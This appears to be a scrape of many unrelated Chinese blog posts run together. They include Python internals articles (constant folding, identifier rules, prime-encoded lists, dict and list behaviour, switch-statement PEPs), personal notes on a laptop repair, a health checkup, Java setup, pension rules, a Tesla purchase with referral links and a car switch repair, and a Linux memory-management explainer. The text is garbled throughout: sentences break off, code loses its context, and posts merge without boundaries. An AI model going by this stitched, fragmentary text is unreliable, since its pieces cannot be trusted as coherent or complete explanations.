”(Constant Folding):在编译期间,编译器会设法识别出常量表达式,对其进行求值,然后用求值的结果来替换表达式,从而使得运行时更精简。>>> day_sec = 24 * 60 * 60
>>> day_sec = 86400
反汇编模块
(Disassembler)获取 CPython 字节码,从而更好地了解代码执行的过程。dis
模块反汇编上述常量表达式时,我们会得到以下字节码:>>> import dis
>>> dis.dis("day_sec = 24 * 60 * 60")
0 LOAD_CONST 0 (86400)
2 STORE_NAME 0 (day_sec)
4 LOAD_CONST 1 (None)
6 RETURN_VALUE
LOAD_CONST
,以及一个已经计算好的值86400
。x = 4 ** 64
,但会折叠 x = 2 ** 64
。>>> a = "-" * 4096 # folded
>>> a = "-" * 4097 # not folded
>>> a = "--" * 4096 # not folded
话说这又是一个同事电脑,故障现象是电脑啥都正常,就是扬声器没声音,3.5mm的耳机一切正常。到我手上的时候,同事告诉我在喇叭哑火之前,发生过USB莫名失效的情况。后来经过维修,说是硬盘坏了,换了块固态硬盘。然后USB是好了,喇叭没响了。到我手上开机看了一下,竟然是个繁体版的,区域位置还是呆湾,呆湾也就算了,这系统还切不了区域,没有简体中文,一猜就是呆湾特定版本。
正常思路一,换系统,三下五除二,win10长期服务版,大佬推荐。装完,毛线没解决,该响的还是不响。查设备管理器,一堆惊叹号,windows update,全部驱动完事。emmmm.....该响的还是不响。
正常思路二,声卡驱动有问题,但这不能自圆其说啊,如果声卡驱动有问题,耳机应该也不响才对。先不管了,死马当活马医。卸载声卡驱动,重装,无效。再卸载,去联想官网下载驱动,再装,还是无效。
正常思路三,准备把联想官方驱动全装一遍,因为实在没招了。挨个把联想官方驱动都下载下来,当下到热键的时候,有点意思,联想还把热键做成驱动了,不给我华硕面子啊,说归说,既然是热键,就试试没装官方驱动之前热键正不正常呗,不试不知道,一试吓一跳,典型的热键冲突啊。
柿子先拣软的捏,其它驱动先不装了,先试试这个热键驱动再说。装完驱动,万能重启,得嘞,其它驱动彻底删除,问题解决。
一年一次的体检报告又出来了,看看异常的指标,又要立减肥的flag了,曾经怎么吃也不胖,到结婚当年猛长30斤,到越吃越少,体重缺不见降低。说明了啥,说明了吃啥都不长肉是骗人的,喝凉水都长肉才是真理。哪位大神能告诉我,怎么减肥才有效?管的住嘴,就是迈不开腿。
和2019年比体重是降了,BMI也降了,那是这两个多月已经开始减肥的成果。血压也下来点,所以肯定是瘦点好。
谷丙转氨酶比去年还高了,没有超过上限2倍以上,所以排除病毒性肝炎问题,基本上就是脂肪肝引起的肝功损伤。碱性磷酸酶升高,加上B超结论。妥妥的脂肪肝。当然脂肪肝2016年我是重度,2019年是轻中度,今年的报告就直接是脂肪肝了,难道减轻了?
总胆固醇和甘油三酯超标,俗称三高中的高血脂。仔细一看,握草,甘油三酯已经是上限值的两倍了,新闻上那种一管血半管油差不多就是我这种类型吧?
去年6个异常结论,今年8个,再不管控一下,这人怕是要废了。
>>> 姓名 ="Python猫"
>>> print(f"我是{姓名},欢迎关注!")
我是Python猫,欢迎关注!
identifier ::= (letter|"_") (letter | digit | "_")*
letter ::= lowercase | uppercase
lowercase ::= "a"..."z"
uppercase ::= "A"..."Z"
digit ::= "0"..."9"
>>> ψ = 1
>>> Δ = 1
>>> ಠ_ಠ = "hello"
就为了学个皮毛而已,大佬们不要当真,主要是公司技术栈是Java+Vue,顺便为了考试。
下载jdk1.8,下载注意下是32位的还是64位的。安装一路下一步就完事了。
三个环境变量需要配置,分别是JAVA_HOME、PATH、CLASS_PATH
JAVA_HOME就是安装路径,例如我的D:\Java\jdk1.8.0_202\
PATH变量中加一项内容,就是安装路径后面的bin目录,因为JAVA_HOME已经定义好了,所有这个可以这样写%JAVA_HOME%\bin\
CLASS_PATH变量就一个点就完事了。
cmd中输入三个命令java、javac、 java -version。只要没报错就表示安装成功了
记事本里面照着例子敲一遍吧。保存为Hello.java文件。文件名与类名要一致。
javac命令编译程序文件,没有报错就是成功。编译完成后多了一个Hello.class文件。
运行编译后的文件,java命令加class文件名,不需要后缀。
当然,博主还没到退休年龄,事情确实发生在博主身上,博主父亲2020年已年满60周岁,按照现行政策已经达到法定退休年龄。按博主三代农民身份,在社保缴纳还不严格的时候,博主父亲一直属于农民工身份,很多单位是变着法不缴纳社保的。直到2014年社保趋严,父亲所在单位才帮其按最低基数缴纳了社保。直到退休也才缴纳了6年的社保。
父亲所在单位在浙江省诸暨市,而户籍在浙江省湖州市。为了帮助父亲搞定这社保后续事宜,分别咨询了诸暨市和湖州市的人社部门,得到了初步的解决方案信息。根据浙江省的政策,社保缴纳不足15年,有几种情况是可以一次性补缴的。1、累计缴满10年,不足15年。2、失地农民。3、退伍军人。4、2011年前国企下岗职工。这四类情况可以在办理退休时一次性补缴剩余年限的。而父亲的情况一个也不满足。
因不满足补缴条件,那最好的办法就是继续缴纳延迟退休。很不幸,父亲在2020年年初从原单位离职了,因此社保断交了。那换个单位或者个人缴费是不是可以继续呢?不巧,父亲在户籍地是没有社保账号的,只有新开账号才能缴费,而已到退休年龄也无法缴纳。这里不完全正确,博主后面就是走的这条路,后文再说。
当所有台面上的选项都走不下去的时候,那只有一种办法,就是办理退保手续。社保中的个人缴纳部分是可以退回的。我电话咨询了诸暨市社保局,如果要办理退保就需要本人或代办人前往社保关系所在地去办理,带上身份证、社保卡、户口本三样材料。那天向公司请好假,急匆匆赶回老家,准备带父亲去诸暨跑一趟办理退保手续的。
因有事顺道去趟银行,正好在浙江省有一个社银合作项目,也就是在社保局没有直接覆盖的各乡镇,会有社保局的员工派驻在乡镇银行,通常是承接当地社保业务的银行,如农商行、信用联社等。所以就顺道在银行的社保窗口咨询了一下我父亲这种情况。因这情况属实特殊,窗口经办工作人员一时也没办法准确答复我,告知我先在银行办业务,稍后回复我。得益于浙江省最多跑一次改革和一窗受理的行政便利。约莫10分钟后社保窗口告诉我,这种情况可以转为办理灵活就业,然后自行缴费,缴足年限后可正常办理退休。真正是山重水复疑无路,柳暗花明又一村。
还得说回浙江省最多跑一次改革,有一窗受理,一次性告知,一次办妥的机制。准备的材料:身份证、社保证明两项材料。其中社保证明可以在浙江政务服务网上自行拉取。MMP比魔都先进多了,我上次去魔都拉个社保证明,社区服务中心还拉不了,还必须得去区社保中心的自助机上拉。上海的一网通办成色很低。拿好材料就交给银行的社保窗口就好了,剩下都由对方帮忙搞定。
1、要办理正常退休,除了养老保险要缴满15年,医疗保险是需要缴满25年的,不过医疗保险不足的部分可以在退休的时候一次性缴清。
2、因父亲还有一份城居保,可以去村委正常办理退休,可以同时享受城居保的退休待遇,等城职保退休时,等于享受了双份退休待遇。
3、因父亲这种情况的补缴方式,医保可以往前一次性补缴十年的,有个好处是因为保险基数年年涨,等缴足年份的时候,一次性补缴的基数相对较高,往前补缴是按目前基数缴纳的。有个坏处是这个往前补缴的十年,医保是没有个账划入的。啥是个账就不解释了。
全文完,希望给有类似需求的童鞋有帮助。
始于对于新冠的恐慌的 2020 年终于完结了,虽然恐慌减轻了,但是新冠还在肆虐。
年初定了 3 个 flag:
实际完成情况如下:
先来说下跑步吧,明显没达标,反而比 2019 年还少些了,本来以为要更多,新冠是一部分,但不是主要因素, 2019 年主要是晚上等娃睡了出去跑步,2020 年娃睡的越来越晚了,晚上再出去不太现实了,主要是周末出去跑步; 2021 年得想想什么时间了。目标暂定 200KM,看起来能达成的可能性更大点。
再来说说纪录片,看纪录片的目标很容易就达到了,由于新冠过年没法回老家,天天只能窝在家,看纪录片; 所以,基本上有一半是春节期间看的。
看的纪录片主要分几类:
最后说说看书的情况,如果大家都觉得挤不出看书的时间,我都是有一个小窍门:每天早上提前半小时到公司,看半小时;然后其它时间就靠自觉了,其实时间还是有的, 主要是要和其它 app 抢时间,例如:网易新闻,知乎之类的;2020 年年底居然买了知乎会员,主要是在看回答中,知乎推荐了一个馒头大师写中国当年在安理会上连投 16 轮否决票的历史; 买完后,迅速看完馒头大师的那本书,对于业余爱好者,真是一本不错增加历史知识,增加谈资的书。
简单按类别划分下比较好的书:
读书,看纪录片,越来越觉得自己的渺小。
我的理想是什么?能为社会做什么贡献?
从 2018 年就开始问自己这个问题,至今还未有答案。
希望找到答案的时候不算太晚。
明年的目标是什么?先拍脑袋:
最后祝大家元旦快乐,新年快乐。
>>> import math
>>> math.factorial(2020)
[number omitted] # Python猫注:此处求2020的阶乘,结果是一长串数字,所以省略
>>> math.log2(math.factorial(2020))
19272.453841606068
>>> type(math.factorial(2020))
<class 'int'>
def primes(starting: int = 2):
"""Yield the primes in order.
Args:
starting: sets the minimum number to consider.
Note: `starting` can be used to get all prime numbers
_larger_ than some number. By default it doesn't skip
any candidate primes.
"""
candidate_prime = starting
while True:
candidate_factor = 2
is_prime = True
# We'll try all the numbers between 2 and
# candidate_prime / 2. If any of them divide
# our candidate_prime, then it's not a prime!
while candidate_factor <= candidate_prime // 2:
if candidate_prime % candidate_factor == 0:
is_prime = False
break
candidate_factor += 1
if is_prime:
yield candidate_prime
candidate_prime += 1
def empty_list() -> int:
"""Create a new empty list."""
# 1 is the empty list. It isn't divisible by any prime.
return 1
def iter_list(l: int):
"""Yields elements in the list, from first to last."""
# We go through each prime in order. The next value of
# the list is equal to the number of times the list is
# divisible by the prime.
for p in primes():
# We decided we will have no trailing 0s, so when
# the list is 1, it's over.
if l <= 1:
break
# Count the number of divisions until the list is
# not divisible by the prime number.
num_divisions = 0
while l % p == 0:
num_divisions += 1
l = l // p # could be / as well
yield num_divisions
def access(l: int, i: int) -> int:
"""Return i-th element of l."""
# First we iterate over all primes until we get to the
# ith prime.
j = 0
for p in primes():
if j == i:
ith_prime = p
break
j += 1
# Now we divide the list by the ith-prime until we
# cant divide it no more.
num_divisions = 0
while l % ith_prime == 0:
num_divisions += 1
l = l // ith_prime
return num_divisions
def append(l: int, elem: int) -> int:
# The first step is finding the largest prime factor.
# We look at all primes until l.
# The next prime after the last prime factor is going
# to be the base we need to use to append.
# E.g. if the list if 18 -> 2**1 * 3**2 -> [1, 2]
# then the largest prime factor is 3, and we will
# multiply by the _next_ prime factor to some power to
# append to the list.
last_prime_factor = 1 # Just a placeholder
for p in primes():
if p > l:
break
if l % p == 0:
last_prime_factor = p
# Now get the _next_ prime after the last in the list.
for p in primes(starting=last_prime_factor + 1):
next_prime = p
break
# Now finally we append an item by multiplying the list
# by the next prime to the `elem` power.
return l * next_prime ** elem
In [16]: l = empty_list()
In [17]: l = append(l, 2)
In [18]: l = append(l, 5)
In [19]: list(iter_list(l))
Out[19]: [2, 5]
In [20]: access(l, 0)
Out[20]: 2
In [21]: access(l, 1)
Out[21]: 5
In [22]: l
Out[22]: 972 # Python猫注:2^2*3^5=972
int
, we can always write the length of the list as the exponent of 2 and start the actual list with the exponent of 3. This has some redundant information, though. The way to avoid redundant information is to store the number of final 0s in the list, instead of the entire length. We won’t be worrying about any of this, though.dd = {'name':'PythonCat'}
dd.get('age') # 结果:None
dd.get('age', 18) # 结果:18
dd['age'] # 报错 KeyError
dd.__getitem__('age') # 等同于 dd['age']
collections.defaultdict
:collections.Counter
,它也是 dict 的子类,在取未被统计的 key 时,返回计数 0:AttributeError: type object 'object' has no attribute '__missing__'
。KeyError
,而后者会返回 None。KeyError
的做法有所不足。欢迎使用我的引荐链接 https://www.tesla.cn/referral/chengweiyangcn55807 购车, 你提车后我们俩会各得 1500KM 免费超充里程(实际上是 372KwH,换算成里程能跑 3000-4000 公里)。
做为一个特斯拉又老又穷的粉,在特斯拉 model3 发布那年/2016 就在官网上用支付宝交了 8000 的定金,希望能以 3.5w 美元的价格买到车。
在经历了长达 4 年半的等待后,model3 终于从进口韭菜降价到了当初等的那个价格,2020 年国庆献礼,降价了;本来一心想要买长续航,偏偏长续航降价没到 30w 以内,不能享受补贴,白花花的 2w 块钱,怎能不要?
另外也是因为买车前用 gofun 租了几次电车来开,发现在市内跑跑,一天正常可能也就几十公里, 即使标续也能做到每周充一次,所以果断从长续换成标续。
降价后电池要改成磷酸铁锂电池,做了好久的思想准备,结果特斯拉说切换前会再生产一批三元锂电池, 怎么说呢?还是特斯拉老道,直接打消了用户的犹豫心理,因为过渡期一过,再下单的用户心理上肯定就已经接受磷酸铁锂电池了。
果断选了三元锂电池版本,虽然续航少一点,不能充满(一般充到 90%,充满对电池寿命不好,磷酸铁锂可以充满), 但是考虑到北京冬天温度低,三元锂电池低温效能更好,所以三元锂应该是更好的选择。
在零上十度左右的天气开车,平均百公里能耗只有 11.5KwH,也就是 11.5
度电;而零度天平均能耗增加到 13.2KwH,估计零下天气会更高。如果按照 52
度电,打八折算(充到 90%,剩 10% 找充电桩),零度天气有效续航大概是
52*0.8/13.2*100 = 315KM
,和表显里程差不多;所以标续冬天大概跑 300KM。
上周去超充充了第一次电,白天最高温度 4 度,下午 4 点充了一个小时,从 70KM 续航充到 90%,表显 330KM;所以如果是电池耗光的话,可能会再需要 20 分钟左右;比预想的慢,到时候看看夏天充电需要多长时间。
另外发现一个秘密,就是特斯拉 app 上显示的 1500KM 超充在加了 260KM 之后,显示还有 1300+ 公里,只扣了 100 多公里,实际上就是前面提到的,在中国,特斯拉的超充是按电量来算的,不是按里程, 所以 1500KM 免费超充折算成了 372 度电,实际上能跑的里程远超过 1500KM,还是很厚道的。
目前用车不到一个月,感觉哪儿都不错,唯一的缺点就是确实缓震比较弱,颠簸路段得慢点, 幸好当时被迫(客服说 19 寸轮毂很少有人选,所以产量很少,如果等的话,后面可能就没有三元锂电池了)没有换轮毂, 如果换了 19 寸轮毂路面感应该更硬了。
最后,再次欢迎使用我的引荐链接 https://www.tesla.cn/referral/chengweiyangcn55807 购车。
Python猫
给大家推荐了一本书《流畅的Python》(点击可跳转阅读),那篇文章有比较多的“溢美之词”,显得比较空泛……可调用对象
(callable)的内置类型,也就是跟内置函数(built-in function)在表面上相似的那些:int、str、list、tuple、range、set、dict……# 定义一个list的子类
class MyList(list):
def length(self):
return len(self)
# 添加两个元素
ss = MyList()
ss.append("Python")
ss.append("猫")
print(ss.length()) # 输出:2
# Python猫是一只猫
class Cat():
def say(self):
return self.inner_voice()
def inner_voice(self):
return "喵"
class PythonCat(Cat):
def inner_voice(self):
return "喵喵"
my_cat = PythonCat()
# 下面的结果符合预期
print(my_cat.inner_voice()) # 输出:喵喵
print(my_cat.say()) # 输出:喵喵
class DoppelDict(dict):
def __setitem__(self, key, value):
super().__setitem__(key, [value] * 2)
dd = DoppelDict(one=1) # {'one': 1}
dd['two'] = 2 # {'one': 1, 'two': [2, 2]}
dd.update(three=3) # {'three': 3, 'one': 1, 'two': [2, 2]}
Python猫
的刨根问底时刻:为什么它不去调用呢?if xxx
时,它似乎会隐式地调用__bool__()和__len__()魔术方法,然而实际上程序依据 POP_JUMP_IF_FALSE 指令,会直接进入纯 C 代码的逻辑,并不存在对这俩魔术方法的调用!from collections import UserDict
class DoppelDict(UserDict):
def __setitem__(self, key, value):
super().__setitem__(key, [value] * 2)
dd = DoppelDict(one=1) # {'one': [1, 1]}
dd['two'] = 2 # {'one': [1, 1], 'two': [2, 2]}
dd.update(three=3) # {'one': [1, 1], 'two': [2, 2], 'three': [3, 3]}
collections
库提供的那几个类。一晃破车被我开了快8年了,半月前就发现后备箱开关不灵光了,要按很多次才能按动,前两天就彻底歇菜了。坚持用了几天钥匙开后备箱。赶紧网上淘个开关。至于为啥我能知道是开关坏了不是别的坏了,还能自己换开关就说来话长了,这个后备箱开关是老款科鲁兹、英朗的通病,早在混迹太平洋汽车论坛的时候就有车友曝过这问题,都没思考直接买个开关回来动手更换。某宝链接。到货了就是这玩意儿。
钥匙开箱后,拿平口螺丝刀直接撬就可以了,简单粗暴,不需要拆牌照灯架的。当然如果你买的是开关对插的那种,那就需要拆牌照灯架。
原车开关这里裂开了,然后有雨水进去,开关就这么废了,不过还好,我这坚持了8年,曾经有车友一年就坏的。
买的开关和车内线都剥皮,剥皮后的铜丝记得用打火机烧一下,烧掉表面的包漆和氧化层,然后对接,对接手法用电工法,两根线不分正负极。接好以后试下开关,如果没有问题就上电工胶带,先缠一根,然后把另外一根缠到一起。最后把开关原样塞回去就完工了。
PS:图片出自@fluentpython官推,简体中文版最薄,巧合占据C位。根据图灵教育统计,简体中文版销量超过4万册,预计在2020年能超越英文版的销量。
Python猫
公众号回复『流畅』,有完整的高清原图)原图太大,展示不下。在
Python猫
公众号内回复『流畅』,有完整的高清原图、PDF 版本和 MarkDown 版本
import collections
Card = collections.namedtuple('Card', ['rank', 'suit'])
class FrenchDeck:
ranks = [str(n) for n in range(2, 11)] + list('JQKA')
suits = 'spades diamonds clubs hearts'.split()
def __init__(self):
self._cards = [Card(rank, suit) for suit in self.suits for rank in self.ranks]
def __len__(self):
return len(self._cards)
def __getitem__(self, position):
return self._cards[position]
《流畅的Python》作者与中文版合影
http://www.hongweipeng.com/index.php/archives/1345 (by hongweipeng)
最近在工作中发现,google chrome 浏览器打开 exchange web mail 查看 HTML 格式的邮件时,邮件里嵌入的图片不能显示,通过查看嵌入图片的 url,发现其实是公司内部网络的一张图片,直接用浏览器打开 url 是可以展示图片的。
那么,为什么在邮件中无法展示呢?
打开浏览器 console,发现有错误,如下所示:
首先可以查看下错误提示中的文档, 发现 google chrome 在新版本中会默认禁止 https 站点加载一些 http 内容,例如上面邮件服务本身是 https 服务,但是邮件中嵌入的图片 url 却是 http。
接下来设置为允许加载 http 内容。
首先点击站点图标,进入设置,如下图所示:
然后在设置页面找到Insecure content
,修改为Allow
,如下图所示:
然后重新加载即可。
Python猫
的上一篇文章中,我们对比了两种创建列表的方法,即字面量用法 [] 与内置类型用法 list(),进而分析出它们在运行速度上的差异。PS:内置函数 built-in function 和内置类型 built-in type 很相似,但 list() 实际是一种内置类型而不是内置函数。我曾对这两种易混淆的概念做过辨析,请查看这篇文章。为了方便理解与表述,以下统称为内置函数。
# 正常调用内置函数
list(range(3)) # 结果:[0, 1, 2]
# 定义任意函数,然后赋值给 list
def test(n):
print("Hello World!")
list = test
list(range(3)) # 结果:Hello World!
ast
模块有 literal_eval() 函数(对标 eval() 内置函数)、pprint
模块有 pprint() 函数(对标 print() 内置函数)、以及itertools
模块有 zip_longest() 函数(对标 zip() 内置函数)……Python猫
查看,并在 Github 上给我一颗小星星吧~~Python猫
,回复“优雅”两字获取~~# 方法一:使用成对的方括号语法
list_a = []
# 方法二:使用内置的 list()
list_b = list()
注:为了简化问题,我们以创建空列表为例进行分析。关于列表的更多介绍与用法说明,可以查看这篇文章
timeit
模块的 timeit() 函数就能简单地测算出来:>>> import timeit
>>> timeit.timeit('[]', number=10**7)
>>> timeit.timeit('list()', number=10**7)
注:timeit() 函数的效率跟运行环境相关,每次执行结果会有微小差异。我在 Python3.8 版本实验了几次,总体上 [] 速度是 list() 的 3 倍多一点。
dis
模块的 dis() 函数,看看两者执行的字节码有何差别:>>> from dis import dis
>>> dis("[]")
>>> dis("list()")
NameError
。Python猫
出品的《Python为什么》系列一直秉承着孜孜不倦的求知精神,是不可能放着这个问题不去回答的。switch(expression){
case value1:
// 语句
break; // 可选
case value2:
// 语句
break; // 可选
default: // 可选
// 语句
}
FAQ 即 Frequently Asked Questions 的缩写,表示常见问题,官方列了 27 个常见问题,完整清单在此:https://mp.weixin.qq.com/s/zabIvt4dfu_rf7SmGZXqXg
A quick poll during my keynote presentation at PyCon 2007 shows this proposal has no popular support. I therefore reject it.
我在 PyCon 2007 的主题演讲中做了一个快速的民意调查,结果表明这个提案没有得到广泛的支持。因此,我拒绝了它。
switch EXPR:
case CONSTANT:
SUITE
case CONSTANT:
SUITE
...
else:
SUITE
case EXPR:
of CONSTANT:
SUITE
of CONSTANT:
SUITE
else:
SUITE
case EXPR:
if CONSTANT:
SUITE
if CONSTANT:
SUITE
else:
SUITE
when EXPR:
in CONSTANT_TUPLE:
SUITE
in CONSTANT_TUPLE:
SUITE
...
else:
SUITE
# case 分支不缩进
switch EXPR:
case EXPR:
SUITE
case EXPR:
SUITE
....
else:
SUITE
# switch 语句后不加冒号
switch EXPR
case EXPR:
SUITE
case EXPR:
SUITE
....
else:
SUITE
# 省略 case 关键字
switch EXPR:
EXPR:
SUITE
EXPR:
SUITE
...
else:
SUITE
case EXPR, EXPR, ...:
# Guido 优选的
case in EXPR_LIST:
case *EXPR:
case [*]EXPR, [*]EXPR, ...:
case *(EXPR, EXPR, ...):
def average(*args):
match args:
case [x, y]: # captures the two elements of a sequence
return (x + y) / 2
case [x]: # captures the only element of a sequence
return x
case []:
return 0
case x: # captures the entire sequence
return sum(x) / len(x)
上週翻譯完 【譯】替 swap 辯護:常見的誤解 之後很多朋友們似乎還有些疑問和誤解,於是寫篇後續澄清一下。事先聲明我不是內核開發者, 這裏說的只是我的理解, 基於內核文檔中關於物理內存的描述 ,新的內核代碼的具體行爲可能和我的理解有所出入,歡迎踊躍討論。
這種誤解進一步的結論通常是:「使用虛擬內存肯定會減慢系統運行時性能,如果物理內存足夠爲什麼還要用虛擬的?」 這種誤解是把虛擬內存和交換區的實現方式類比於「虛擬磁盤」或者「虛擬機」等同的方式, 也隱含「先用物理內存,用完了之後用虛擬內存」也即下面的「誤解3」的理解。
首先,交換區(swap) 不是 虛擬內存。操作系統中說「物理內存」還是「虛擬內存」的時候在指程序代碼 尋址時使用的內存地址方式,使用物理地址空間時是在訪問物理內存,使用虛擬地址空間時是在訪問虛擬內存。 現代操作系統在大部分情況下都在使用虛擬地址空間尋址, 包括 在執行內核代碼的時候。
並且,交換區 不是 實現虛擬內存的方式。操作系統使用內存管理單元(MMU,Memory Management Unit)做虛擬內存地址到物理內存地址的地址翻譯,現代架構下 MMU 通常是 CPU 的一部分,配有它專用的一小塊存儲區叫做地址轉換旁路緩存(TLB,Translation Lookaside Buffer), 只有在 TLB 中沒有相關地址翻譯信息的時候 MMU 纔會以缺頁中斷的形式調用操作系統內核幫忙。 除了 TLB 信息不足的時候,大部分情況下使用虛擬內存都是硬件直接實現的地址翻譯,沒有軟件模擬開銷。 實現虛擬內存不需要用到交換區,交換區只是操作系統實現虛擬內存後能提供的一個附加功能, 即便沒有交換區,操作系統大部分時候也在用虛擬內存,包括在大部分內核代碼中。
很多朋友也理解上述操作系統實現虛擬內存的方式,但是仍然會有疑問:「我知道虛擬內存和交換區的區別, 但是沒有交換區的話,虛擬內存地址都有物理內存對應,不用交換區的話就不會遇到讀虛擬內存需要讀寫磁盤 導致的卡頓了嘛」。
這種理解也是錯的,禁用交換區的時候,也會有一部分分配給程序的虛擬內存不對應物理內存,
比如使用
mmap
調用實現內存映射文件的時候。實際上即便是使用
read/write
讀寫文件, Linux 內核中(可能現代操作系統內核都)在底下是用和
mmap
相同的機制建立文件
到虛擬地址空間的地址映射,然後實際讀寫到虛擬地址時靠缺頁中斷把文件內容載入頁面緩存(page cache
)。內核加載可執行程序和動態鏈接庫的方式也是通過內存映射文件。甚至可以進一步說,
用戶空間的虛擬內存地址範圍內,除了匿名頁之外,其它虛擬地址都是文件後備(backed by file
),而匿名頁通過交換區作爲文件後備。上篇文章中提到的別的類型的內存,比如共享內存頁面(shm
)是被一個內存中的虛擬文件系統後備的,這一點有些套娃先暫且不提。於是事實是無論有沒有交換區,
缺頁的時候總會有磁盤讀寫從慢速存儲加載到物理內存,這進一步引出上篇文章中對於交換區和頁面緩存這兩者的討論。
簡短的答案可以說「是」,但是內核理解的「內存快用完」和你理解的很可能不同。 也可以說「不是」,就算按照內核理解的「內存快用完」的定義,內存快用完的時候內核的行爲是去回收內存, 至於回收內存的時候內核會做什麼有個複雜的啓發式經驗算法,實際上真的內存快滿的時候根本來不及做 swap ,內核可能會嘗試丟棄 page cache 甚至丟棄 vfs cache (dentry cache / inode cache) 這些不需要磁盤I/O就能更快獲取可用內存的動作。
深究這些內核機制之前,我在思考爲什麼很多朋友會問出這樣的問題。可能大部分這麼問的人,學過編程, 稍微學過基本的操作系統原理,在腦海裏對內核分配頁面留着這樣一種印象(C僞代碼):
//////////////////// userspace space ////////////////
void* malloc(int size){
void* pages = mmap(...); // 從內核分配內存頁
return alloc_from_page(pages, size); // 從拿到的內存頁細分
}
//////////////////// kernel space //////////////////
void * SYSCALL do_mmap(...){
//...
return kmalloc_pages(nr_page);
}
void* kmalloc_pages(int size){
while ( available_mem < size ) {
// 可用內存不夠了!嘗試搞點內存
page_frame_info* least_accessed = lru_pop_page_frame(); // 找出最少訪問的頁面
switch ( least_accessed -> pf_type ){
case PAGE_CACHE: drop_page_cache(least_accessed); break; // 丟棄文件緩存
case SWAP: swap_out(least_accessed); break; // <- 寫磁盤,所以系統卡了!
// ... 別的方式回收 least_accessed
}
append_free_page(free_page_list, least_accessed); // 回收到的頁面加入可用列表
available_mem += least_accessed -> size;
}
// 搞到內存了!返回給程序
available_mem -= size;
void * phy_addr = take_from_free_list(free_page_list, size);
return assign_virtual_addr(phy_addr);
}
這種邏輯隱含三層 錯誤的 假設:
malloc/mmap
的時候。這種把內核代碼當作「具有特權的庫函數調用」的看法,可能很易於理解, 甚至早期可能的確有操作系統的內核是這麼實現的,但是很可惜現代操作系統都不是這麼做的。 上面三層假設的錯誤之處在於:
malloc/mmap
的時候,內核只做虛擬地址分配,
記錄下某段虛擬地址空間對這個程序是可以合法訪問的,但是不實際分配物理內存給程序。
在程序第一次訪問到虛擬地址的時候,才會實際分配物理內存。這種叫 惰性分配(lazy allocation) 。也就是說,現代操作系統內核是高度並行化的設計,內存分配方方面面需要消耗計算資源或者 I/O 帶寬的場景,都會儘量並行化,最大程度利用好計算機所有組件(CPU/MMU/DMA/IO)的吞吐率, 不到緊要關頭需要直接回收的場合,就不會阻塞程序的正常執行流程。
或許會有人問:「我讓你分配內存,你給我分配了個虛擬的,到用的時候還要做很多事情才能給我,這不是騙人嘛」, 或者會有人擔心惰性分配會對性能造成負面影響。
這裏實際情況是程序從分配虛擬內存的時候,「到用的時候」,這之間有段時間間隔,可以留給內核做準備 。程序可能一下子分配一大片內存地址,然後再在執行過程中解析數據慢慢往地址範圍內寫東西。 程序分配虛擬內存的速率可以是「突發」的,比如一個系統調用中分配 1GiB 大小,而實際寫入數據的速率會被 CPU 執行速度等因素限制,不會短期內突然寫入很多頁面。 這個分配速率導致的時間差內內核可以完成很多後臺工作,比如回收內存, 比如把回收到的別的進程用過的內存頁面初始化爲全0,這部分後臺工作可以和程序的執行過程並行, 從而當程序實際用到內存的時候,需要的準備工作已經做完了,大部分場景下可以直接分配物理內存出來。
如果程序要做實時響應,想避免因爲惰性分配造成的性能不穩定,可以使用
mlock/mlockall
將得到的虛擬內存鎖定在物理內存中,鎖的過程中內核會做物理內存分配。不過要區分「性能不穩定」和「低性能」,
預先分配內存可以避免實際使用內存時分配物理頁面的額外開銷,但是會拖慢整體吞吐率,所以要謹慎使用。
很多程序分配了很大一片地址空間,但是實際並不會用完這些地址,直到程序執行結束這些虛擬地址也一直 處於沒有對應物理地址的情況。惰性分配可以避免爲這些情況浪費物理內存頁面,使得很多程序可以無憂無慮地 隨意分配內存地址而不用擔心性能損失。這種分配方式也叫「超額分配(overcommit)」。飛機票有超售, VPS 提供商劃分虛擬機有超售,操作系統管理內存也同樣有這種現象,合理使用超額分配能改善整體系統效率。
內核要高效地做到惰性分配而不影響程序執行效率的前提之一,在於程序真的用到內存的時候, 內核能不做太多操作就立刻分配出來,也就是說內核需要時時刻刻在手上留有一部分空頁, 滿足程序執行時內存分配的需要。換句話說,內核需要早在物理內存用盡之前,就開始回收內存。
首先一些背景知識:物理內存地址空間並不是都平等,因爲一些地址範圍可以做 DMA 而另一些不能,以及 NUMA 等硬件環境傾向於讓 CPU 訪問其所在 NUMA 節點內存範圍。在 32bit 系統上內核的虛擬地址空間還有低端內存和高端內存的區分,他們會傾向於使用不同屬性的物理內存,到 64bit 系統上已經沒有了這種限制。
硬件限制了內存分配的自由度,於是內核把物理內存空間分成多個 Zone ,每個 Zone 內各自管理可用內存, Zone 內的內存頁之間是相互平等的。
一個 Zone 內的頁面分配情況可以右圖描繪。 除了已用內存頁,剩下的就是空閒頁(free pages),空閒頁範圍中有三個水位線(watermark )評估當前內存壓力情況,分別是高位(high)、低位(low)、最小位(min)。
當內存分配使得空閒頁水位低於低位線,內核會喚醒
kswapd
後臺線程,
kswapd
負責掃描物理頁面的使用情況並挑選一部分頁面做回收,直到可用頁面數量恢復到水位線高位(high)以上。
如果
kswapd
回收內存的速度慢於程序執行實際分配內存的速度,
可用空閒頁數量可能進一步下降,降至低於最小水位(min)之後,內核會讓內存分配進入
直接回收(direct reclamation) 模式,在直接回收模式下,程序分配某個物理頁的請求(
第一次訪問某個已分配虛擬頁面的時候)會導致在進程上下文中阻塞式地調用內存回收代碼。
除了內核在後臺回收內存,進程也可以主動釋放內存,比如有程序退出的時候就會釋放一大片內存頁,
所以可用頁面數量可能會升至水位線高位以上。有太多可用頁面浪費資源對整體系統運行效率也不是好事,
所以系統會積極緩存文件讀寫,所有 page cache 都留在內存中,直到可用頁面降至低水位以下觸發
kswapd
開始工作。
設置最小水位線(min)的原因在於,內核中有些硬件也會突然請求大量內存,比如來自網卡接收到的數據包, 預留出最小水位線以下的內存給內核內部和硬件使用。
設置高低兩個控制
kswapd
開關的水位線是基於控制理論。喚醒
kswapd
掃描內存頁面本身有一定計算開銷,於是每次喚醒它幹活的話就讓它多做一些活( high - low
),避免頻繁多次喚醒。
因爲有這些水位線,系統中根據程序請求內存的「速率」,整個系統的內存分配在宏觀的一段時間內可能處於以下幾種狀態:
kswapd
在後臺做內存回收,
不會干擾到程序的執行效率。
kswapd
後臺回收內存的速度,
空閒內存最終會跌破最小水位線,隨後的內存申請會進入直接回收的代碼路徑,從而極大限制內存分配速度。
在直接分配和後臺回收的同時作用下,空閒內存可能會時不時回到最小水位線以上,
